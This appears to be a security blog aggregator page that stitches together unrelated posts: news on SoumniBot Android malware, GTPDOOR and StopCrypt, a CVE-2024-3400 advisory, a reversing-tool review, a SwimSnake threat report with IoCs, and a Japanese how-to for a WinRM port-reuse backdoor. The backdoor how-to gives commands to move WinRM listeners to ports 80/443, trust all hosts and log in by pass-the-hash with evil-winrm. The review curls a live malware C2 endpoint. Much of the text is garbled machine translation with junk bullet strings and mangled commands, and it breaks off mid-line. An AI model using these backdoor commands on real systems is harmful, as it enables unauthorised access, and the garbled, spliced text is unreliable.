Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    86398735

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

一種名為“SoumniBot”的新Android 銀行惡意軟件通過利用Android 清單提取和解析過程中的弱點,使用了新的混淆方法。

該方法使SoumniBot 能夠規避Android 手機中的標準安全措施並執行信息竊取操作。

研究人員發現並分析後提供了該惡意軟件利用Android 例程解析和提取APK 清單的方法的技術細節。

欺騙Android 的解析器清單文件(“AndroidManifest.xml”)位於每個應用程序的根目錄中,包含有關組件(服務、廣播接收器、內容提供程序)、權限和應用程序數據的詳細信息。

雖然惡意APK 可以使用Zimperium 的各種壓縮技巧來愚弄安全工具並逃避分析,但分析師發現SoumniBot 使用了三種不同的方法來繞過解析器檢查,其中涉及操縱清單文件的壓縮和大小。

首先,SoumniBot 在解壓APK 的清單文件時使用無效的壓縮值,該值與負責該角色的Android“libziparchive”庫預期的標準值(0 或8)不同。

Android APK 解析器不會將這些值視為不可接受,而是默認將數據識別為由於錯誤而未壓縮,從而允許APK 繞過安全檢查並繼續在設備上執行。

extraction.webp.jpg

從APK 中提取清單文件

第二種方法涉及錯誤報告APK 中清單文件的大小,提供大於實際數字的值。

由於該文件在上一步中已被標記為未壓縮,因此直接從存檔中復制該文件,並用垃圾“覆蓋”數據填充差異。

雖然這些額外的數據不會直接損害設備,但它在混淆代碼分析工具方面發揮著至關重要的作用。

wrong-size.png

報告錯誤的文件大小

第三種規避技術是在清單文件中使用非常長的字符串作為XML 命名空間的名稱,這使得自動分析工具很難檢查到它們,而自動分析工具通常缺乏足夠的內存來處理它們。

long-string.png

清單中的長字符串

Android 官方分析實用程序APK 分析器無法使用上述規避方法處理文件。

SoumniBot 威脅啟動後,SoumniBot 從硬編碼服務器地址請求其配置參數,並發送受感染設備的分析信息,包括編號、運營商等。

接下來,它會啟動一個惡意服務,如果停止,該服務每16 分鐘就會重新啟動一次,並每15 秒傳輸一次從受害者那裡竊取的數據。

洩露的詳細信息包括IP 地址、聯繫人列表、帳戶詳細信息、短信、照片、視頻和網上銀行數字證書。數據洩露由惡意軟件通過MQTT 服務器接收的命令控制,這些命令還對以下功能進行排序:

马云惹不起马云刪除現有聯繫人或添加新聯繫人

马云惹不起马云發送短信(轉發)

马云惹不起马云設置鈴聲音量

马云惹不起马云打開或關閉靜音模式

马云惹不起马云打開或關閉設備上的調試模式

目前尚不清楚SoumniBot 如何到達設備,但方法可能有所不同,從通過第三方Android 商店和不安全網站分發到使用受信任存儲庫中的惡意代碼更新合法應用程序。

SoumniBot 主要針對韓國用戶,與許多惡意Android 應用程序一樣,它在安裝後隱藏其圖標,使其更難以刪除。其實,它在後台仍然活躍,並從受害者處上傳數據。

漏洞概述漏洞類型

遠程命令執行

漏洞等級

嚴重

漏洞編號

CVE-2024-3400

漏洞評分

10

利用複雜度

影響版本

PAN-OS 11.1.* 11.1.2-h3

PAN-OS 11.0.* 11.0.4-h1

PAN-OS 10.2.* 10.2.9-h1

利用方式

遠程

POC/EXP

未公開

Palo Alto Networks的PAN-OS是一個運行在Palo Alto Networks防火牆和企業VPN設備上的操作系統。 Palo Alto Networks PAN-OS軟件的GlobalProtect功能存在命令注入漏洞,針對特定的PAN-OS版本和不同的功能配置,可能使未經身份驗證的攻擊者能夠在防火牆上以root權限執行任意代碼。 2024年4 月10日,Volexity 發現其一名網絡安全監控(NSM) 客戶對Palo Alto Networks PAN-OS GlobalProtect 功能中發現的漏洞進行了零日利用,攻擊者能夠創建反向shell、下載工具、竊取配置數據以及在網絡內橫向移動。 Palo Alto Networks PSIRT 團隊確認該漏洞為操作系統命令注入問題,並將其分配為CVE-2024-3400。

僅適用於啟用了GlobalProtect gateway(Network GlobalProtect Gateways)和device telemetry(Device Setup Telemetry)的PAN-OS 10.2、PAN-OS 11.0和PAN-OS 11.1防火牆。

資產測繪據www.daydaymap.com數據顯示,近半年國內風險資產分佈情況如下,主要分佈在台灣省。

QQ截图20240418162314.png

解決方案官方已發布修復方案,受影響的用戶建議更新至安全版本。

https://support.paloaltonetworks.com/support

安全研究人員發現了一個專為移動運營商網絡設計的新的Linux 後門,名為GTPDOOR。 GTPDOOR 背後的威脅分子以GPRS 漫遊交換(GRX) 附近的系統為目標,例如SGSN、GGSN 和P-GW,這些系統可以為攻擊者提供對電信核心網絡的直接訪問。

GRX 是移動電信的一個組件,可促進跨不同地理區域和網絡的數據漫遊服務。服務GPRS 支持節點(SGSN)、網關GPRS 支持節點(GGSN) 和P-GW(分組數據網絡網關(用於4G LTE))是移動運營商網絡基礎設施內的組件,每個組件在移動通信中發揮不同的作用。

由於SGSN、GGSN和P-GW網絡更多地暴露在公眾面前,IP地址範圍列在公開文件中,研究人員認為它們可能是獲得移動運營商網絡初始訪問權限的目標。

tweet.webp.jpg

安全研究人員解釋說,GTPDOOR 很可能是屬於“LightBasin”威脅組織(UNC1945) 的工具,該組織因專注於全球多家電信公司的情報收集而臭名昭著。

研究人員發現了2023 年底上傳到VirusTotal 的兩個版本的後門,這兩個版本基本上都沒有被防病毒引擎檢測到。這些二進製文件針對的是非常舊的Red Hat Linux 版本,表明目標已經過時。

samples.webp.jpg

隱秘的GTPDOOR 操作GTPDOOR 是一種專為電信網絡量身定制的複雜後門惡意軟件,利用GPRS 隧道協議控制平面(GTP-C) 進行隱蔽命令和控制(C2) 通信。它用於部署在與GRX 相鄰的基於Linux 的系統中,負責路由和轉發漫遊相關的信令和用戶平面流量。

使用GTP-C 進行通信允許GTPDOOR 與合法網絡流量混合,並利用不受標準安全解決方案監控的已允許端口。為了提高隱蔽性,GTPDOOR 可以更改其進程名稱以模仿合法的系統進程。

該惡意軟件偵聽特定的GTP-C 回顯請求消息(“魔術數據包”)以喚醒並在主機上執行給定的命令,將輸出發送回其操作員。

packet.webp.jpg

惡意數據包結構

GTP 數據包的內容使用簡單的XOR 密碼進行身份驗證和加密,確保只有授權的操作員才能控制惡意軟件。

GTPDOOR v1 支持在被破壞的主機上執行以下操作:

马云惹不起马云設置用於C2 通信的新加密密鑰

马云惹不起马云將任意數據寫入名為“system.conf”的本地文件

马云惹不起马云執行任意shell命令並發送回輸出

GTPDOOR v2 支持上述操作以及以下操作:

马云惹不起马云指定允許通過訪問控制列表(ACL) 機制與受感染主機通信的IP 地址或子網

马云惹不起马云檢索ACL列表,對後門的網絡權限進行動態調整

马云惹不起马云清除ACL 以重置惡意軟件

安全研究人員還強調了該惡意軟件能夠從外部網絡秘密探測,通過任何端口傳遞的TCP 數據包引發響應。

attack-overview.webp.jpg

GTPDOOR 攻擊概述

檢測與防禦檢測策略包括監視異常的原始套接字活動、意外的進程名稱以及特定的惡意軟件指示器(例如重複的系統日誌進程)。

推薦的檢測步驟如下:

1.使用lsof 檢查打開的原始套接字,表明存在潛在的漏洞。

2.使用netstat -lp --raw 查找異常的監聽套接字。

3.識別具有異常PPID 的模仿內核線程的進程。

4.搜索/var/run/daemon.pid,這是GTPDOOR 使用的互斥文件。

5.查找可能由惡意軟件創建的意外system.conf 文件。

PID.webp.jpg

PID異常

還提供了以下供防御者檢測GTPDOOR 惡意軟件的YARA 規則。

YARA.webp.jpg

最後,安全研究人員提出了防禦措施,如設置嚴格規則並自覺遵守GSMA 安全指南,利用GTP 防火牆,阻止或過濾掉惡意數據包和連接。

想要輕鬆掌握Android 惡意軟件的逆轉技術嗎? Incinerator 將是你在這場網絡攻防戰中的得力夥伴,無論是資深專家還是初出茅廬的新手,都能在這款工具中找到自己的舞台。

大家好!在這篇文章裡,我們將探索Incinerator 的強大功能、豐富特性以及它所帶來的種種優勢。這款Android 逆向工程工具集的靈感來自於廣受好評的Shambles項目。

1.png

我們的目標非常明確:打造一款能夠輕鬆應對Android 應用,尤其是惡意軟件的高級逆向工具。我們需要的是一個集反編譯、解密、動態調試和漏洞檢測於一體的全能工具。而且,這款工具還得能夠快速、準確地揪出那些常見和隱蔽的威脅跡象(IOCs)。

正是基於這些目標,我們推出了Incinerator!簡單來說,它是一個功能全面、操作簡便的逆向工程生態系統。不論你是經驗豐富的逆向工程專家,還是剛踏入惡意軟件分析領域的新手,Incinerator 都能滿足你的需求。

Incinerator 應用內置了多種強大功能,讓你可以輕鬆反編譯Android 應用,自動解密內容,取消反射API 調用,獲取清晰的反混淆代碼,並在真實設備上進行實時調試分析。這對於那些想要深入了解、分析和逆轉Android 惡意軟件的人來說,是一個完美的選擇,即使你沒有太多經驗也沒關係。

Incinerator 在後台進行的分析工作包括組件分析、安全漏洞檢測、靜態和動態代碼分析、漏洞挖掘以及惡意代碼分析。通過全面的檢查,Incinerator 能夠有效地幫助用戶識別和解決安全風險和漏洞。

在更高層次上,Incinerator 將解密任務放在雲端處理,其內部的漏洞分析引擎沙箱會實時更新漏洞庫,能夠精確到代碼的具體行來定位惡意代碼或漏洞。

多年前,Incinerator 與JEB 或GDA 進行了性能對比測試,並展現出了卓越的性能。如果你想看完整的對比報告,可以點擊這裡查看。

此外,我們還對比了多個威脅情報中心和在線沙箱的惡意代碼檢測與分析能力,以此來衡量Incinerator 的性能。結果同樣令人滿意,相關報告也可供大家參考。

2.png

3.png

現在,讓我們來認識一下Incinerator 背後的團隊。這款工具由Lian Security的一支約12 人的工程師團隊開發,歷時約兩年。他們也是SHAMBLES、INCINERATOR和FLEGIAS等產品的開發者,這些產品覆蓋了從軟件、基礎設施、硬件到基本操作和維護、產品UI 設計等多個領域。

4.png

Incinerator 可以在Windows、MacOS和Linux系統上運行。它支持分析APK 和DEX 文件。 APK 文件包含了編譯後的代碼文件(.dex 文件)、資源文件、證書和清單文件。 DEX 文件是Android 系統的可執行文件,包含了應用程序的所有操作指令和運行時數據。

分析文件的途徑有兩種,一種是通過Incinerator 的桌面應用程序界面,如下圖所示。

5.png

另一種是通過雲端的網絡門戶進行。

6.png

選擇哪一種方式,全憑個人喜好。我個人習慣於通過桌面應用程序上傳和打開APK。上傳後,你可以登錄到雲端門戶,在https://incinerator.cloud/#/main/task/list查看上傳的樣本。

7.png

從網絡門戶,你可以查看和處理生成的基於網絡的報告。這些報告可以分享給其他人進行APK 分析。這種訪問權限需要在你的UCENTER賬戶中進行配置,默認情況下是不公開的。

8.png

如果你想要深入了解報告,或者跟隨我們的分析步驟,請點擊這裡,你將看到如下的報告內容。

9.png

Incinerator 使用的ML 模型具有非常高的準確性。 Incinerator 的一些功能實際上是開源的,可以在Lian Security 的Github上找到。特別是用於處理和生成報告數據的兩個模型已經公開。

android-malware-detection

apk-obfucation-detection

在Base Info和Behavior Info面板以及Static Analysis、Dynamic Analysis和APK Risk側邊面板中,包含了大量的信息。我們的目標是提供一個材料清單(BOM),它從包管理器、二進製文件、源代碼和容器圖片中派生。

讓我們看看我個人特別喜歡的一些功能。你可以下載APK 的網絡流量,並將其導入到Wireshark 中進行分析。

10.png

例如,應用程序權限(Application Permissions)等許多面板,都是基於androidmanifest.xml文件的分析結果得出的,還有更多信息等待你去發掘。

11.png

快速瀏覽一下報告中的軟件組成分析(SCA)部分,你會發現這些信息大部分都是非常有價值的。

12.png

我邀請你自己去探索這份報告。我不會再次回到這個網絡門戶,因為在網絡上看到的所有內容都已經融入到了主應用程序中。

一旦樣本被雲端引擎完全分析,我們就可以開始在Incinerator 應用程序中對其進行分析。當你第一次加載樣本時,APK 報告會加載出來,它和網絡門戶報告中的內容非常相似。

13.png

如前所述,Incinerator 是一個沙箱工具,用於記錄應用程序的整個執行過程,以調用棧的形式展示。當用戶在本地打開相應的樣本時,我們可以提供類似動態調試的體驗。這使得用戶能夠理解樣本在動態執行後是如何被觸發的。

14.png

工具界面主要分為兩個部分:Base Info和Behavior info。每個部分提供的信息和主要差異如下,這些是你在使用時通常會看到的內容,但請注意,這裡列出的並不是全部信息。

15.png

在右側,我們有四個面板:Android Monitor、Set Debug Device、Static Analysis和Dynamic Analysis,我們將在後面的內容中詳細探討這些面板。

16.jpg

這是Incinerator 用戶界面的基本佈局。

17.png

讓我們開始逆轉一些惡意軟件吧!以FakeCalls 為例。逆轉惡意軟件的主要目標之一是識別攻擊者用來竊取和外洩數據的C2 和CC 通信渠道。 Incinerator 在識別這些通信渠道方面表現得非常出色。

18.png

正如上圖所示,我們知道這款惡意軟件使用了死信箱解析器(T1102.001)。這是一種將惡意內容存儲在合法網絡服務上,然後通過調用將其安裝到受害者設備上的技術。這些服務常常用來代理和掩蓋與真實CC 服務器之間的通信,通過額外的域名和IP 地址實現。

讓我們通過checkpoint 報告中檢索到的curl 信息,手動在Incinerator 中逆轉這種行為。 Incinerator 引擎識別出了執行請求到C2 服務器daebak222.com/huhu/admin.txt的代碼,如下圖所示。

19.png

如果我們對端點執行curl 命令,將會得到以下輸出。

$ curl https://www.daebak222.com/huhu/admin.txt

{

'a01': 'eWVlYWIrPj5mZmY_dXB0c3B6IyMjP3J-fA==',

'b05': 'Y2ViYWIrPj4gICI_IyAjPykpPyAlKSspIiMjPn14Z3Q=',

'a07': 'eWVlYWIrPj4gKSM_ICc_JSM_ICkrJCEkJD55ZHlkPnB1fHh_P2VpZQ=='

}

我們的目標是理解惡意軟件為何要獲取這些信息,以及它的用途。結果發現,這些信息被用來更新它的C2 通信渠道。這次檢測的整個調用棧指向了ServerInfoService.java,它調用了Service和Binder Android類,這些類通常在你需要通過HTTP 請求獲取服務器信息的服務中使用。它還提供了其他組件訪問這些信息的方法。

ServerInfo類包含了有關服務器的信息。

a01 (eWVlYWIrPj5mZmY_dXB0c3B6IyMjP3J-fA==),

b05 (Y2ViYWIrPj4gICI_IyAjPykpPyAlKSspIiMjPn14Z3Q=),

a07 (eWVlYWIrPj4gKSM_ICc_JSM_ICkrJCEkJD55ZHlkPnB1fHh_P2VpZQ==)

它代表了我們期望從服務器獲取的各種屬性。

20.png

其中,serverInfo.a01代表新服務器,serverInfo.b05代表備用服務器,serverInfo.a07代表從哪個服務器獲取信息。 fetch()和fetchFromAlternative()方法用來啟動HTTP 請求,以獲取服務器信息。

21.png

如果我們在Incinerator 控制台中按下tab鍵進入fetch()方法,我們可以看到Android 應用程序字節碼的中間語言,也就是所謂的'smali' 代碼。在這裡我們可以清楚地看到eWVlYWIrPj5mZmY_dXB0c3B6IyMjP3J-fD55ZHlkPnB1fHh_P2VpZQ==實際上是daebak222.com/huhu/admin.txt。就在下面,我們有onData方法,如果成功獲取服務器信息,則記錄成功消息。然後,它會檢查ServerInfo對象的字段(a01、b05、a07)是否有空。如果任何一個字段為空,它會記錄一個警告消息,指示服務器信息無效。否則,它將調用ServerInfoService類的updateServerInfo方法,傳遞接收到的ServerInfo對象,以更新服務器信息。

22.png

太棒了!有了Incinerator,這一切都變得非常簡單。接下來,讓我們看看Incinerator 的檢測能力。 Incinerator 識別出惡意軟件能夠捕獲設備接收的SMS 消息,發送短信,並根據C2 服務器的指令撥打電話。

23.png

讓我們驗證一下這款惡意軟件是否真的具備在受感染設備上捕獲電話通話、短信等信息的能力。首先,我們需要確認惡意軟件是否已經獲取或為自己分配了獲取這些信息的權限。從下面的圖中可以看出,它確實擁有大量權限。

24.png

那麼,惡意軟件是如何獲得這些權限的呢?我們可以雙擊調用棧中的任何參數,打開相應的代碼進行查看。特別值得注意的是Add New Device Administrator的事件。

25.png

惡意軟件會檢查設備管理員是否活躍,如果不是,它會通過發送一個Intent 來請求設備管理員權限,這個Intent的動作是android.app.action.ADD_DEVICE_ADMIN。只要用戶不答應,它就會不斷地通過循環窗口請求權限。

26.png

27.png

一旦用戶授予了權限,根據我的經驗,唯一手動停用它的方法是在Settings - Security - Device Management中操作,但到那時可能已經太晚了。

下面列出的是應用程序請求或已經獲取的權限,但這個列表並不全面:

permissionNames.add('READ CONTACTS');

permissionNames.add('WRITE CONTACTS');

permissionNames.add('READ SMS');

permissionNames.add('RECEIVE SMS');

permissionNames.add('SEND SMS');

permissionNames.add('RECORD AUDIO');

permissionNames.add('READ PHONE STATE');

permissionNames.add('WRITE EXTERNAL STORAGE');

permissionNames.add('READ EXTERNAL STORAGE');

permissionNames.add('CHANGE WIFI STATE');

permissionNames.add('INTERNET');

permissionNames.add('ACCESS WIFI STATE');

permissionNames.add('GET ACCOUNTS');

permissionNames.add('READ LOGS');

permissionNames.add('PROCESS OUTGOING CALLS');

permissionNames.add('CALL PHONE');

permissionNames.add('RECEIVE BOOT COMPLETED');

permissionNames.add('DISABLE KEYGUARD');

permissionNames.add('INSTALL SHORTCUT');

permissionNames.add('UNINSTALL SHORTCUT');

permissionNames.add('WAKE LOCK');

permissionNames.add('CHANGE WIFI STATE');

permissionNames.add('INTERNET');

permissionNames.add('ACCESS WIFI STATE');

permissionNames.add('GET ACCOUNTS');

permissionNames.add('READ LOGS');

permissionNames.add('PROCESS OUTGOING CALLS');

permissionNames.a

HireHackking

タイトル:ポート再利用バックドアサマリー

winrmはポートマルチプレックス
を実装します この攻撃方法には、アカウントとパスワードが必要です。ハッシュを取得した場合は、邪悪なウィンラムを使用してハッシュログインを実現することもできます。
サービスは導入
WinRMのフルネームはWindowsリモート管理であり、Microsoftのサーバーハードウェア管理機能の一部であり、ローカルまたはリモートサーバーを管理できます。 WINRMサービスにより、管理者はWindowsオペレーティングシステムにリモートでログインし、Telnetと同様のインタラクティブコマンドラインシェルを取得できますが、基礎となる通信プロトコルはHTTPを使用します。
バックドアアプリケーション
Windows2012サーバーでは、WinRMがデフォルトで開始され、ポート5985が有効になっており、2008年のシステムでサービスを手動で有効にする必要があります。
Winrm QuickConfig -Qスタートアップ後、ファイアウォールはポートもリリースします
httplistenerリスニングの共存を有効にするように設定します
winrm set winrm/config/service @{enableCompatibilityhttplistener='true'} //80
winrm set winrm/config/service @{enableCompatibilityHttpsListener='true'} //443
リスニングポートを80/443に変更します
winrm set winrm/config/ristener?address=*+transport=http @{port='80 '}
winrm set winrm/config/リスナー?address=*+transport=https @{port='443'}
また、ローカル接続では、WinRMサービスをオンにしてから信頼できるホストをセットアップする必要があります。
Winrm QuickConfig -Q
winrm set winrm/config/client @{trustedhosts='*'}
Winrs -R:http://172.16.142.151:5985 -U3:ADMINISTRATOR -P:ADMIN123 'WHAAMI'
winrm pth
Macの下で邪悪なwinRMを使用してPTHを実装します
sudo gem install vail-winrm
邪悪なwinrm -i 172.16.142.151 -u管理者-h 8842
HireHackking
StopCrypt 勒索軟件(又名STOP)的新變種在野外被發現,它採用涉及shellcode 的多階段執行過程來逃避安全工具。
StopCrypt,也稱為STOP Djvu,是現有的分佈最廣泛的勒索軟件之一。
因為這種勒索軟件操作通常不針對企業,而是針對消費者,經常產生數万筆400 至1000 美元的小額贖金,以至於很少聽到安全研究人員討論STOP。
STOP勒索軟件通常通過惡意廣告和可疑網站傳播,這些網站會分發偽裝成免費軟件、遊戲作弊和軟件破解的廣告軟件捆綁包。
然而,當安裝這些程序時,用戶就會感染各種惡意軟件,包括密碼竊取木馬和STOP 勒索軟件。
自2018 年首次發布以來,勒索軟件加密器沒有太大變化,發布的新版本主要是為了修復關鍵問題。因此,當新的STOP版本發佈時,由於受到影響的人數較多,值得關注。
新的多階段執行威脅研究團隊在野外發現的STOP 勒索軟件新變種,現在利用多階段執行機制。
最初,惡意軟件加載一個看似不相關的DLL 文件(msim32.dll),可能是為了轉移注意力。它還實現了一系列長時間延遲循環,可能有助於繞過與時間相關的安全措施。
接下來,它使用堆棧上動態構造的API 調用來為讀/寫和執行權限分配必要的內存空間,從而使檢測變得更加困難。
StopCrypt 使用API 調用進行各種操作,包括拍攝正在運行的進程的快照以了解其運行環境。
下一階段涉及進程空洞,其中StopCrypt 劫持合法進程並註入其有效負載以在內存中謹慎執行。這是通過一系列精心編排的API 調用來操作進程內存和控制流來完成的。
一旦執行了最終的有效負載,就會發生一系列操作來確保勒索軟件的持久性,修改訪問控制列表(ACL)以拒絕用戶刪除重要惡意軟件文件和目錄的權限,並創建一個計劃任務來每隔一段時間執行一次有效負載5分鐘。

StopCrypt的計劃任務
文件已加密,並且新名稱後會附加“.msjd”擴展名。然而,有數百個與STOP 勒索軟件相關的擴展。
最後,在每個受影響的文件夾中都會創建名為“_readme.txt”的勒索字條,向受害者指示支付贖金以檢索數據。

勒索信樣本
StopCrypt 正逐漸演變為更加隱秘和強大的威脅,儘管StopCrypt 的金錢要求並不高,而且其運營商也不會進行數據盜竊,但它仍會對許多人造成巨大損失。
HireHackking

標題:“遊蛇”黑產近期攻擊活動分析

1 概覽“遊蛇”黑產自2022年下半年開始活躍至今,針對國內用戶發起了大量釣魚攻擊和詐騙活動。該類黑產傳播的惡意程序變種多、更新免殺手段快、更換基礎設施頻繁、攻擊目標所涉及的行業廣泛。近期,安天CERT監測到“遊蛇”黑產針對與金融、財務相關的企業及人員進行的攻擊活動。攻擊者投放的初始惡意文件主要有三類:可執行程序、CHM文件、商業遠控軟件“第三隻眼”,偽造的文件名稱大多與財稅、資料、函件等相關。
由於商業遠控軟件“第三隻眼”提供多方面的遠程監控及控制功能,並且將數據回傳至廠商提供的子域名服務器、根據qyid值識別控制端用戶,攻擊者無需自己搭建C2服務器,因此惡意利用該軟件進行的攻擊活動近期呈現活躍趨勢。
“遊蛇”黑產仍在頻繁地對惡意軟件、免殺手段以及相關基礎設施進行更新,每天依舊有一定數量的用戶遭受攻擊並被植入遠控木馬。安天CERT建議用戶接收文件時保持警惕,避免點擊安全性未知的可執行程序、腳本等文件,以免遭受“遊蛇”攻擊,造成不必要的損失。建議未購買使用“第三隻眼”遠控軟件的用戶,使用流量監測設備檢查網絡中是否存在與“dszysoft.com”及其子域名相關的連接記錄,若存在則表明可能被惡意植入了相關遠控,用戶也可以考慮對相關域名進行封禁。
經驗證,安天智甲終端防禦系統(簡稱IEP)可實現對該類遠控木馬的有效查殺。相關防護建議詳見本文第四章節。
2技術梳理近期,安天CERT監測到攻擊者投放的初始惡意文件主要有三類,偽造的文件名稱大多與財稅、資料、函件等相關。
表2‑1近期部分樣本偽裝名稱
偽裝的程序名稱
企業補貼名單.exe
企業納稅新系統.exe
企業稅務稽查名單.exe
2024年企業稅收減免新政策.exe
律-師-函102803912.exe
律師函.exe
資料.exe
0328.CHM
公司全套資料.CHM
20240325.CHM
2.1 可執行程序此類可執行程序通常是下載器,執行後在內存中執行Shellcode,從攻擊者事先準備的服務器中獲取下一階段的載荷文件,並使用“白加黑”、“內存執行Shellcode”、“內存解密Payload”等手段最終加載執行Gh0st等遠控木馬。
2.2 CHM文件此類CHM文件執行後會彈出“內容已損壞,無法繼續瀏覽,請關閉”字樣。實際上,其內部腳本中的代碼此時已經執行,通過遠程加載xsl文件的方式,獲取下一階段的載荷文件,並使用“白加黑”等手段最終加載執行Gh0st等遠控木馬。

圖2‑1 CHM文件執行後彈出的內容
2.3 商業遠控軟件“第三隻眼”攻擊者有時也會直接將經過偽裝的“第三隻眼”安裝包發送給目標用戶,並誘導執行。攻擊者傳播的安裝包通常以靜默方式進行安裝,過程中無界面顯示。此外,也存在攻擊者通過已經植入的遠控木馬進行遠程安裝的情況。
由於該款商業遠控軟件能夠提供多方面的遠程監控及控制功能,並且通過將數據發送至廠商提供的子域名服務器、根據qyid值識別控制端用戶的方式回傳數據,因此黑產團伙已多年惡意利用該遠控軟件進行攻擊活動,近期依然呈現活躍趨勢。該遠控軟件某一版本的控制端界面如下圖所示。

圖2‑2 控制端界面
3 樣本分析3.1 可執行程序由於攻擊者投放的惡意可執行程序較多,此處以一例出現頻率較高的可執行程序為例。
表3‑1樣本標籤
惡意代碼名稱
Trojan/Win64.SwimSnake[Downloader]
原始文件名
資料全套.exe
MD5
A3A423DD691197920B64EA8E569A0CDE
處理器架構
Intel 386 or later, and compatibles
文件大小
163 KB (167168字節)
文件格式
BinExecute/Microsoft.EXE[:X64]
時間戳
2013-03-29 01:46:13(偽造)
數字簽名
無效的數字簽名
加殼類型

編譯語言
Microsoft Visual C/C++
PDB路徑

VT首次上傳時間

VT檢測結果

該程序執行後申請一段內存空間,寫入Shellcode並執行。

圖3‑1執行Shellcode
3.1.1Shellcode該Shellcode判斷當前系統中是否存在C:\xxxx.ini文件,若已經存在則結束進程,攻擊者可能通過這種方式來判斷系統是否曾被感染;然後檢測當前系統中是否運行有安全產品相關進程,若不存在則對硬編碼的字符串進行解密得到URL,從中獲取b.dat文件並進行解密,從而得到兩組URL及下載後用於重命名的文件名稱。該Shellcode默認使用其中的第一組。

圖3‑2獲取文件並解密得到URL及文件名稱
該Shellcode在C:\Users\Public\Videos中根據隨機生成的名稱創建文件夾,根據第一組URL下載4個文件,使用自定義的解密算法對其進行解密,寫入創建的文件路徑中,最後執行其中的可執行程序。
圖3‑3解密後的攻擊載荷文件
3.1.2 “白加黑”利用攻擊者利用“白加黑”手段,通過白程序加載其構造的惡意DLL文件,在內存中執行Shellcode讀取ffff.pol文件內容、解密得到一個DLL文件,再由該DLL文件創建計劃任務、讀取ffff.lop文件進行解密,最終執行Gh0st遠控木馬。
圖3‑4由ffff.lop文件解密得到Gh0st遠控木馬
3.2 CHM文件表3‑2樣本標籤
惡意代碼名稱
Trojan/Win32.SwimSnake[Downloader]
原始文件名
45.204.11.10 (2).CHM
MD5
FB114FFE7FC1454C011BAA502C00A358
文件大小
9.39 KB (9625字節)
文件格式
Microsoft Compiled HTML Help
VT首次上傳時間

VT檢測結果

攻擊者投放的CHM文件執行後,從指定URL處獲取xsl文件,並進行遠程加載。

圖3‑5 加載遠程xsl文件
3.2.1 load.xsl該文件含有兩段經過Base64編碼處理的字符串,對其進行解碼後在內存中加載.NET程序集。

圖3‑6 load.xsl文件關鍵內容
3.2.2.NET程序被加載的.NET程序從指定URL處獲取config文件,讀取config文件中的每一行內容,根據其下載文件並執行。

圖3‑7 .NET程序關鍵代碼
3.2.3 config.txtconfig.txt文件中包含多個託管載荷文件的URL。

圖3‑8 config.txt文件
3.2.4“白加黑”利用攻擊者此次利用的白程序是賽車競速遊戲“極限競速:地平線5”相關程序,並針對該白程序構造了惡意的“PartyXboxLive.dll”文件。該DLL文件被加載後,對boom.png文件內容進行解密,創建msiexec.exe進程,並將解密得到的Gh0st遠控木馬注入至msiexec.exe的內存空間中。

圖3‑9攻擊者利用“極限競速:地平線5”相關程序進行攻擊
3.3 商業遠控軟件“第三隻眼”攻擊者投放的“第三隻眼”安裝包程序通常以靜默方式安裝,以避免用戶察覺。
表3‑3樣本標籤
惡意代碼名稱
HackTool/Win32.DSZY[Spy]
原始文件名
企業納稅新系統.exe
MD5
7B8C787345DED235BAC78AB78EC0FAEA860B3B8B
處理器架構
Intel 386 or later, and compatibles
文件大小
38.7 MB (40622763字節)
文件格式
BinExecute/Microsoft.EXE[:X86]
時間戳
2021-11-22 17:54:59
數字簽名

加殼類型

編譯語言
Microsoft Visual C/C++
PDB路徑

VT首次上傳時間
2023-12-05 16:02:42
VT檢測結果
24/72
3.3.1配置信息該軟件安裝目錄中存在3個.conf配置文件,屬於SQLite3數據庫文件,其中含有配置信息。

圖3‑10配置信息文件
comnctt.xdt.conf與syslogin.xdt.conf文件的內容相似,包含關於網絡回連及程序等配置信息。其中,main/host表示服務器域名,config/qyid表示控制端用戶名所對應的id。該遠控軟件會將運行過程中監控的數據回傳至廠商提供的子域名服務器中,並根據qyid識別控制端對應的用戶名。

圖3‑11 回連域名及qyid
expiorer.xdt.conf文件中含有與監控相關的配置信息。其中,main/event_config及main/event_rule中含有經過Base64編碼的字符串,解碼後是JSON格式的配置信息,包括監控目標類別、關鍵字、規則等。

圖3‑12 main/event_config解碼後的部分內容
3.3.2 數據記錄該軟件的安裝目錄有多個.dat文件,屬於SQLite3數據庫文件,其中記錄著運行過程中收集的數據,包括屏幕截圖、硬件信息、進程相關信息、鍵盤記錄以及根據配置信息中的關鍵詞、規則收集的數據。
屏幕截圖:該軟件會根據配置信息中的時間間隔持續地對屏幕進行截圖。

圖3‑13根據配置信息中的時間間隔持續進行截圖
進程相關信息:該軟件會對啟動的進程相關信息進行記錄,包括啟動時間、進程名稱、窗口標題等。

圖3‑14記錄進程相關信息
根據配置信息中的關鍵詞、規則收集的數據:該軟件會根據配置信息中定義的目標類別、關鍵詞及規則收集數據,並將數據記錄在相應的數據表中,包括鍵盤記錄、文件監控、剪貼板監控、郵件信息等。
圖3‑15相關數據表
4防護建議4.1 增強業務人員的安全意識增強業務人員的安全意識,降低組織被攻擊的可能性。財務、客服、銷售等人員使用微信、企業微信等電腦端登錄的即時通訊應用時,避免因工作性質、利益原因,被誘導下載和運行不明來源的各類文件。組織可通過選擇安全意識培訓服務,鞏固“第一道安全防線”。
4.2 使用安天安全威脅排查工具排查遊蛇威脅發現或懷疑遭受“遊蛇”黑產攻擊:針對“遊蛇”黑產在攻擊活動中投放的遠控木馬,在安天垂直響應平台下載安天安全威脅排查工具(https://vs2.antiy.cn,“遊蛇”專項排查工具),面對突發性安全事件、特殊場景時快速檢測排查此類威脅。由於“遊蛇”黑產使用的攻擊載荷迭代較快,且持續更新免殺技術,為了更精準、更全面的清除受害主機中存在的威脅,建議客戶在使用專項排查工具檢出威脅後,聯繫安天應急響應團隊(CERT@antiy.cn)處置威脅。

圖4‑1“遊蛇”專項排查工具檢出“遊蛇”威脅
4.3 加強終端文件接收和執行防護部署企業級終端防禦系統,實時檢測防護即時通訊軟件接收的不明文件。安天智甲終端防禦系統採用安天下一代威脅檢測引擎檢測不明來源文件,通過內核級主動防禦能力阻止其落地和運行。

圖4‑2安天智甲終端防禦系統阻止惡意文件落地
5IoCsIoCs
A3A423DD691197920B64EA8E569A0CDE
5D8D6F2D27A0BB95A9E4E1C44685F99C
6F4743D3C1C475BC6D2698CC4FC4373F
DB823462C21D62E19634AD1772F80C58
FB114FFE7FC1454C011BAA502C00A358
68A86812EED8C560BD0708F237338BC5
